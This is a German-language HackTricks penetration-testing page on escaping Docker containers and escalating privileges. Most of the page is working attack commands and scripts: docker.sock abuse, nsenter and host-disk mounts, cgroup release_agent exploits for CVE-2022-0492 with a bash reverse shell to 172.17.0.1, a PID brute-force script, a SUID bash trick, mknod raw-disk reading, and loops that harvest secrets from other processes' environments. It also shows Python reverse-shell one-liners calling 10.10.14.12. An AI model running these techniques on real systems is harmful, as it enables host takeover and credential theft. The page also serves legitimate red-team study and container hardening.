Docker Breakout / Privilege Escalation
Reading time: 20 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Automatische Enumeration & Escape
- linpeas: Es kann auch Container enumerieren
- CDK: Dieses Tool ist ziemlich nützlich, um den Container, in dem Sie sich befinden, zu enumerieren und sogar automatisch zu versuchen, zu entkommen
- amicontained: Nützliches Tool, um die Berechtigungen zu erhalten, die der Container hat, um Wege zu finden, daraus zu entkommen
- deepce: Tool zur Enumeration und zum Entkommen aus Containern
- grype: Erhalten Sie die CVEs, die in der Software enthalten sind, die im Image installiert ist
Escape vom gemounteten Docker Socket
Wenn Sie irgendwie feststellen, dass der Docker-Socket gemountet ist innerhalb des Docker-Containers, werden Sie in der Lage sein, daraus zu entkommen.
Dies geschieht normalerweise in Docker-Containern, die aus irgendeinem Grund eine Verbindung zum Docker-Daemon herstellen müssen, um Aktionen auszuführen.
#Search the socket
find / -name docker.sock 2>/dev/null
#It's usually in /run/docker.sock
In diesem Fall können Sie reguläre Docker-Befehle verwenden, um mit dem Docker-Daemon zu kommunizieren:
#List images to use one
docker images
#Run the image mounting the host disk and chroot on it
docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash
# Get full access to the host via ns pid and nsenter cli
docker run -it --rm --pid=host --privileged ubuntu bash
nsenter --target 1 --mount --uts --ipc --net --pid -- bash
# Get full privs in container without --privileged
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash
note
Falls der Docker-Socket an einem unerwarteten Ort ist, können Sie dennoch mit ihm kommunizieren, indem Sie den docker
Befehl mit dem Parameter -H unix:///path/to/docker.sock
verwenden.
Der Docker-Daemon könnte auch an einem Port (standardmäßig 2375, 2376) lauschen oder auf Systemd-basierten Systemen kann die Kommunikation mit dem Docker-Daemon über den Systemd-Socket fd://
erfolgen.
note
Achten Sie außerdem auf die Laufzeitsockets anderer hochrangiger Laufzeiten:
- dockershim:
unix:///var/run/dockershim.sock
- containerd:
unix:///run/containerd/containerd.sock
- cri-o:
unix:///var/run/crio/crio.sock
- frakti:
unix:///var/run/frakti.sock
- rktlet:
unix:///var/run/rktlet.sock
- ...
Missbrauch von Berechtigungen zur Umgehung
Sie sollten die Berechtigungen des Containers überprüfen. Wenn er eine der folgenden Berechtigungen hat, könnten Sie möglicherweise daraus entkommen: CAP_SYS_ADMIN
, CAP_SYS_PTRACE
, CAP_SYS_MODULE
, DAC_READ_SEARCH
, DAC_OVERRIDE, CAP_SYS_RAWIO
, CAP_SYSLOG
, CAP_NET_RAW
, CAP_NET_ADMIN
Sie können die aktuellen Container-Berechtigungen mit den zuvor erwähnten automatischen Tools oder:
capsh --print
Auf der folgenden Seite können Sie mehr über Linux-Fähigkeiten erfahren und wie man sie missbraucht, um Privilegien zu entkommen/eskalieren:
Ausbruch aus privilegierten Containern
Ein privilegierter Container kann mit dem Flag --privileged
oder durch Deaktivierung spezifischer Abwehrmaßnahmen erstellt werden:
--cap-add=ALL
--security-opt apparmor=unconfined
--security-opt seccomp=unconfined
--security-opt label:disable
--pid=host
--userns=host
--uts=host
--cgroupns=host
Mount /dev
Das Flag --privileged
senkt die Sicherheit des Containers erheblich und bietet uneingeschränkten Gerätezugriff und umgeht mehrere Schutzmaßnahmen. Für eine detaillierte Aufschlüsselung siehe die Dokumentation zu den vollständigen Auswirkungen von --privileged
.
Privilegiert + hostPID
Mit diesen Berechtigungen können Sie einfach in den Namensraum eines Prozesses wechseln, der als Root im Host läuft, wie init (pid:1), indem Sie einfach ausführen: nsenter --target 1 --mount --uts --ipc --net --pid -- bash
Testen Sie es in einem Container, indem Sie ausführen:
docker run --rm -it --pid=host --privileged ubuntu bash
Privilegiert
Nur mit dem privilegierten Flag kannst du versuchen, auf die Festplatte des Hosts zuzugreifen oder zu versuchen, durch die Ausnutzung von release_agent oder anderen Ausbrüchen zu entkommen.
Teste die folgenden Umgehungen in einem Container, indem du ausführst:
docker run --rm -it --privileged ubuntu bash
Mounting Disk - Poc1
Gut konfigurierte Docker-Container erlauben keine Befehle wie fdisk -l. Bei falsch konfigurierten Docker-Befehlen, bei denen das Flag --privileged
oder --device=/dev/sda1
mit Großbuchstaben angegeben ist, ist es möglich, die Berechtigungen zu erhalten, um das Host-Laufwerk zu sehen.
Um die Host-Maschine zu übernehmen, ist es trivial:
mkdir -p /mnt/hola
mount /dev/sda1 /mnt/hola
Und voilà! Sie können jetzt auf das Dateisystem des Hosts zugreifen, da es im /mnt/hola
-Ordner gemountet ist.
Mounting Disk - Poc2
Innerhalb des Containers kann ein Angreifer versuchen, weiteren Zugriff auf das zugrunde liegende Host-OS über ein beschreibbares hostPath-Volume zu erhalten, das vom Cluster erstellt wurde. Im Folgenden sind einige gängige Dinge aufgeführt, die Sie innerhalb des Containers überprüfen können, um zu sehen, ob Sie diesen Angreifer-Vektor nutzen können:
### Check if You Can Write to a File-system
echo 1 > /proc/sysrq-trigger
### Check root UUID
cat /proc/cmdline
BOOT_IMAGE=/boot/vmlinuz-4.4.0-197-generic root=UUID=b2e62f4f-d338-470e-9ae7-4fc0e014858c ro console=tty1 console=ttyS0 earlyprintk=ttyS0 rootdelay=300
# Check Underlying Host Filesystem
findfs UUID=<UUID Value>
/dev/sda1
# Attempt to Mount the Host's Filesystem
mkdir /mnt-test
mount /dev/sda1 /mnt-test
mount: /mnt: permission denied. ---> Failed! but if not, you may have access to the underlying host OS file-system now.
### debugfs (Interactive File System Debugger)
debugfs /dev/sda1
Privilegierte Eskalation durch Ausnutzung des vorhandenen release_agent (cve-2022-0492) - PoC1
# spawn a new container to exploit via:
# docker run --rm -it --privileged ubuntu bash
# Finds + enables a cgroup release_agent
# Looks for something like: /sys/fs/cgroup/*/release_agent
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
# If "d" is empty, this won't work, you need to use the next PoC
# Enables notify_on_release in the cgroup
mkdir -p $d/w;
echo 1 >$d/w/notify_on_release
# If you have a "Read-only file system" error, you need to use the next PoC
# Finds path of OverlayFS mount for container
# Unless the configuration explicitly exposes the mount point of the host filesystem
# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
t=`sed -n 's/overlay \/ .*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
# Sets release_agent to /path/payload
touch /o; echo $t/c > $d/release_agent
# Creates a payload
echo "#!/bin/sh" > /c
echo "ps > $t/o" >> /c
chmod +x /c
# Triggers the cgroup via empty cgroup.procs
sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1
# Reads the output
cat /o
Privilegierte Escalation durch Ausnutzung von created release_agent (cve-2022-0492) - PoC2
# On the host
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
# Mounts the RDMA cgroup controller and create a child cgroup
# This technique should work with the majority of cgroup controllers
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
# It's because your setup doesn't have the RDMA cgroup controller, try change rdma to memory to fix it
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
# If mount gives an error, this won't work, you need to use the first PoC
# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release
# Finds path of OverlayFS mount for container
# Unless the configuration explicitly exposes the mount point of the host filesystem
# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
# Sets release_agent to /path/payload
echo "$host_path/cmd" > /tmp/cgrp/release_agent
#For a normal PoC =================
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#===================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/172.17.0.1/9000 0>&1" >> /cmd
chmod a+x /cmd
#===================================
# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
# By creating a /bin/sh process and writing its PID to the cgroup.procs file in "x" child cgroup directory
# The script on the host will execute after /bin/sh exits
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# Reads the output
cat /output
Finden Sie eine Erklärung der Technik in:
Docker release_agent cgroups escape
Privilegierte Eskalation durch Missbrauch von release_agent ohne den relativen Pfad zu kennen - PoC3
In den vorherigen Exploits wird der absolute Pfad des Containers im Dateisystem des Hosts offengelegt. Dies ist jedoch nicht immer der Fall. In Fällen, in denen Sie den absoluten Pfad des Containers im Host nicht kennen, können Sie diese Technik verwenden:
release_agent exploit - Relative Paths to PIDs
#!/bin/sh
OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"
# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &
# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh
OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}
# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
__EOF__
# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}
# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release
# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done
# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
Die Ausführung des PoC innerhalb eines privilegierten Containers sollte eine ähnliche Ausgabe wie folgt liefern:
root@container:~$ ./release_agent_pid_brute.sh
Checking pid 100
Checking pid 200
Checking pid 300
Checking pid 400
Checking pid 500
Checking pid 600
Checking pid 700
Checking pid 800
Checking pid 900
Checking pid 1000
Checking pid 1100
Checking pid 1200
Done! Output:
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 11:25 ? 00:00:01 /sbin/init
root 2 0 0 11:25 ? 00:00:00 [kthreadd]
root 3 2 0 11:25 ? 00:00:00 [rcu_gp]
root 4 2 0 11:25 ? 00:00:00 [rcu_par_gp]
root 5 2 0 11:25 ? 00:00:00 [kworker/0:0-events]
root 6 2 0 11:25 ? 00:00:00 [kworker/0:0H-kblockd]
root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq]
root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
...
Privilegierte Eskalation durch Ausnutzung sensibler Mounts
Es gibt mehrere Dateien, die möglicherweise gemountet sind und Informationen über den zugrunde liegenden Host geben. Einige von ihnen können sogar etwas anzeigen, das vom Host ausgeführt werden soll, wenn etwas passiert (was einem Angreifer ermöglichen wird, aus dem Container auszubrechen).
Der Missbrauch dieser Dateien kann Folgendes ermöglichen:
- release_agent (bereits zuvor behandelt)
- binfmt_misc
- core_pattern
- uevent_helper
- modprobe
Sie können jedoch andere sensible Dateien finden, die Sie auf dieser Seite überprüfen können:
Arbiträre Mounts
In mehreren Fällen werden Sie feststellen, dass der Container ein Volume vom Host gemountet hat. Wenn dieses Volume nicht korrekt konfiguriert wurde, könnten Sie in der Lage sein, sensible Daten zuzugreifen/zu ändern: Geheimnisse lesen, ssh authorized_keys ändern…
docker run --rm -it -v /:/host ubuntu bash
Privilegieneskalation mit 2 Shells und Host-Mount
Wenn Sie als root innerhalb eines Containers Zugriff haben, der einen Ordner vom Host gemountet hat, und Sie als nicht privilegierter Benutzer auf den Host entkommen sind und Lesezugriff auf den gemounteten Ordner haben.
Sie können eine bash suid-Datei im gemounteten Ordner innerhalb des Containers erstellen und sie vom Host ausführen, um Privilegien zu eskalieren.
cp /bin/bash . #From non priv inside mounted folder
# You need to copy it from the host as the bash binaries might be diferent in the host and in the container
chown root:root bash #From container as root inside mounted folder
chmod 4777 bash #From container as root inside mounted folder
bash -p #From non priv inside mounted folder
Privilegieneskalation mit 2 Shells
Wenn Sie als root innerhalb eines Containers Zugriff haben und als nicht privilegierter Benutzer zum Host entkommen sind, können Sie beide Shells missbrauchen, um Privesc innerhalb des Hosts durchzuführen, wenn Sie die Fähigkeit MKNOD innerhalb des Containers haben (standardmäßig vorhanden), wie in diesem Beitrag erklärt.
Mit dieser Fähigkeit darf der root-Benutzer innerhalb des Containers Blockgerätedateien erstellen. Gerätedateien sind spezielle Dateien, die verwendet werden, um auf zugrunde liegende Hardware & Kernelmodule zuzugreifen. Zum Beispiel ermöglicht die Blockgerätedatei /dev/sda den Zugriff auf die Rohdaten auf der Festplatte des Systems.
Docker schützt vor dem Missbrauch von Blockgeräten innerhalb von Containern, indem eine cgroup-Richtlinie durchgesetzt wird, die Lese-/Schreiboperationen auf Blockgeräten blockiert. Dennoch, wenn ein Blockgerät innerhalb des Containers erstellt wird, wird es über das Verzeichnis /proc/PID/root/ von außerhalb des Containers zugänglich. Dieser Zugriff erfordert, dass der Prozessbesitzer sowohl innerhalb als auch außerhalb des Containers derselbe ist.
Exploitation Beispiel aus diesem Writeup:
# On the container as root
cd /
# Crate device
mknod sda b 8 0
# Give access to it
chmod 777 sda
# Create the nonepriv user of the host inside the container
## In this case it's called augustus (like the user from the host)
echo "augustus:x:1000:1000:augustus,,,:/home/augustus:/bin/bash" >> /etc/passwd
# Get a shell as augustus inside the container
su augustus
su: Authentication failure
(Ignored)
augustus@3a453ab39d3d:/backend$ /bin/sh
/bin/sh
$
# On the host
# get the real PID of the shell inside the container as the new https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/~/changes/3847/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation#privilege-escalation-with-2-shells user
augustus@GoodGames:~$ ps -auxf | grep /bin/sh
root 1496 0.0 0.0 4292 744 ? S 09:30 0:00 \_ /bin/sh -c python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
root 1627 0.0 0.0 4292 756 ? S 09:44 0:00 \_ /bin/sh -c python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
augustus 1659 0.0 0.0 4292 712 ? S+ 09:48 0:00 \_ /bin/sh
augustus 1661 0.0 0.0 6116 648 pts/0 S+ 09:48 0:00 \_ grep /bin/sh
# The process ID is 1659 in this case
# Grep for the sda for HTB{ through the process:
augustus@GoodGames:~$ grep -a 'HTB{' /proc/1659/root/sda
HTB{7h4T_w45_Tr1cKy_1_D4r3_54y}
hostPID
Wenn Sie auf die Prozesse des Hosts zugreifen können, werden Sie in der Lage sein, viele sensible Informationen, die in diesen Prozessen gespeichert sind, abzurufen. Führen Sie das Testlabor aus:
docker run --rm -it --pid=host ubuntu bash
Zum Beispiel können Sie die Prozesse mit etwas wie ps auxn
auflisten und nach sensiblen Details in den Befehlen suchen.
Dann, da Sie auf jeden Prozess des Hosts in /proc/ zugreifen können, können Sie einfach deren Umgebungsgeheimnisse stehlen, indem Sie Folgendes ausführen:
for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done
/proc/988058/environ
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
HOSTNAME=argocd-server-69678b4f65-6mmql
USER=abrgocd
...
Sie können auch auf die Dateideskriptoren anderer Prozesse zugreifen und deren geöffnete Dateien lesen:
for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt
less fds.txt
...omitted for brevity...
lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/2 -> /dev/pts/0
lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp
# You can open the secret filw with:
cat /proc/635813/fd/4
Sie können auch Prozesse beenden und einen DoS verursachen.
warning
Wenn Sie irgendwie privilegierten Zugriff auf einen Prozess außerhalb des Containers haben, könnten Sie etwas wie nsenter --target <pid> --all
oder nsenter --target <pid> --mount --net --pid --cgroup
ausführen, um eine Shell mit den gleichen ns-Beschränkungen (hoffentlich keine) wie dieser Prozess auszuführen.
hostNetwork
docker run --rm -it --network=host ubuntu bash
Wenn ein Container mit dem Docker Host-Netzwerk-Driver (--network=host
) konfiguriert wurde, ist der Netzwerk-Stack dieses Containers nicht vom Docker-Host isoliert (der Container teilt sich den Netzwerk-Namespace des Hosts), und der Container erhält keine eigene IP-Adresse. Mit anderen Worten, der Container bindet alle Dienste direkt an die IP des Hosts. Darüber hinaus kann der Container ALLE Netzwerkverkehr abfangen, den der Host über die gemeinsame Schnittstelle sendet und empfängt tcpdump -i eth0
.
Zum Beispiel können Sie dies verwenden, um Verkehr abzuhören und sogar zu fälschen zwischen Host und Metadateninstanz.
Wie in den folgenden Beispielen:
- Writeup: How to contact Google SRE: Dropping a shell in cloud SQL
- Metadata service MITM allows root privilege escalation (EKS / GKE)
Sie werden auch in der Lage sein, Netzwerkdienste, die an localhost gebunden sind, innerhalb des Hosts zuzugreifen oder sogar die Metadatenberechtigungen des Knotens zuzugreifen (die möglicherweise anders sind als die, auf die ein Container zugreifen kann).
hostIPC
docker run --rm -it --ipc=host ubuntu bash
Mit hostIPC=true
erhalten Sie Zugriff auf die interprozessuale Kommunikation (IPC) Ressourcen des Hosts, wie z.B. gemeinsamen Speicher in /dev/shm
. Dies ermöglicht das Lesen/Schreiben, wo dieselben IPC-Ressourcen von anderen Host- oder Pod-Prozessen verwendet werden. Verwenden Sie ipcs
, um diese IPC-Mechanismen weiter zu inspizieren.
- Untersuchen Sie /dev/shm - Suchen Sie nach Dateien in diesem gemeinsamen Speicherort:
ls -la /dev/shm
- Überprüfen Sie vorhandene IPC-Einrichtungen – Sie können überprüfen, ob IPC-Einrichtungen verwendet werden mit
/usr/bin/ipcs
. Überprüfen Sie es mit:ipcs -a
Fähigkeiten wiederherstellen
Wenn der Syscall unshare
nicht verboten ist, können Sie alle Fähigkeiten wiederherstellen, indem Sie:
unshare -UrmCpf bash
# Check them with
cat /proc/self/status | grep CapEff
Missbrauch des Benutzer-Namensraums über Symlink
Die zweite Technik, die im Beitrag https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/ erklärt wird, zeigt, wie man Bind-Mounts mit Benutzer-Namensräumen missbrauchen kann, um Dateien im Host zu beeinflussen (in diesem speziellen Fall, um Dateien zu löschen).
CVEs
Runc-Exploit (CVE-2019-5736)
Falls Sie docker exec
als root ausführen können (wahrscheinlich mit sudo), versuchen Sie, die Berechtigungen zu eskalieren, indem Sie aus einem Container unter Ausnutzung von CVE-2019-5736 entkommen (Exploit hier). Diese Technik wird im Wesentlichen die /bin/sh Binärdatei des Hosts aus einem Container überschreiben, sodass jeder, der docker exec ausführt, die Payload auslösen kann.
Ändern Sie die Payload entsprechend und bauen Sie die main.go mit go build main.go
. Die resultierende Binärdatei sollte im Docker-Container zur Ausführung platziert werden.
Bei der Ausführung, sobald es [+] Overwritten /bin/sh successfully
anzeigt, müssen Sie Folgendes von der Host-Maschine aus ausführen:
docker exec -it <container-name> /bin/sh
Dies wird die Payload auslösen, die in der main.go-Datei vorhanden ist.
Für weitere Informationen: https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html
note
Es gibt andere CVEs, für die der Container anfällig sein kann, eine Liste finden Sie unter https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list
Docker Custom Escape
Docker Escape Surface
- Namespaces: Der Prozess sollte vollständig von anderen Prozessen getrennt sein über Namespaces, sodass wir nicht mit anderen Prozessen interagieren können aufgrund von Namespaces (standardmäßig kann nicht über IPCs, Unix-Sockets, Netzwerkdienste, D-Bus,
/proc
anderer Prozesse kommuniziert werden). - Root-Benutzer: Standardmäßig ist der Benutzer, der den Prozess ausführt, der Root-Benutzer (seine Berechtigungen sind jedoch eingeschränkt).
- Fähigkeiten: Docker lässt die folgenden Fähigkeiten zu:
cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep
- Syscalls: Dies sind die Syscalls, die der Root-Benutzer nicht aufrufen kann (aufgrund fehlender Fähigkeiten + Seccomp). Die anderen Syscalls könnten verwendet werden, um zu versuchen, zu entkommen.
0x067 -- syslog
0x070 -- setsid
0x09b -- pivot_root
0x0a3 -- acct
0x0a4 -- settimeofday
0x0a7 -- swapon
0x0a8 -- swapoff
0x0aa -- sethostname
0x0ab -- setdomainname
0x0af -- init_module
0x0b0 -- delete_module
0x0d4 -- lookup_dcookie
0x0f6 -- kexec_load
0x12c -- fanotify_init
0x130 -- open_by_handle_at
0x139 -- finit_module
0x140 -- kexec_file_load
0x141 -- bpf
{{#endtab}}
{{#tab name="arm64 syscalls"}}
0x029 -- pivot_root
0x059 -- acct
0x069 -- init_module
0x06a -- delete_module
0x074 -- syslog
0x09d -- setsid
0x0a1 -- sethostname
0x0a2 -- setdomainname
0x0aa -- settimeofday
0x0e0 -- swapon
0x0e1 -- swapoff
0x106 -- fanotify_init
0x109 -- open_by_handle_at
0x111 -- finit_module
0x118 -- bpf
{{#endtab}}
{{#tab name="syscall_bf.c"}}
// From a conversation I had with @arget131
// Fir bfing syscalss in x64
#include <sys/syscall.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>
int main()
{
for(int i = 0; i < 333; ++i)
{
if(i == SYS_rt_sigreturn) continue;
if(i == SYS_select) continue;
if(i == SYS_pause) continue;
if(i == SYS_exit_group) continue;
if(i == SYS_exit) continue;
if(i == SYS_clone) continue;
if(i == SYS_fork) continue;
if(i == SYS_vfork) continue;
if(i == SYS_pselect6) continue;
if(i == SYS_ppoll) continue;
if(i == SYS_seccomp) continue;
if(i == SYS_vhangup) continue;
if(i == SYS_reboot) continue;
if(i == SYS_shutdown) continue;
if(i == SYS_msgrcv) continue;
printf("Probando: 0x%03x . . . ", i); fflush(stdout);
if((syscall(i, NULL, NULL, NULL, NULL, NULL, NULL) < 0) && (errno == EPERM))
printf("Error\n");
else
printf("OK\n");
}
}
```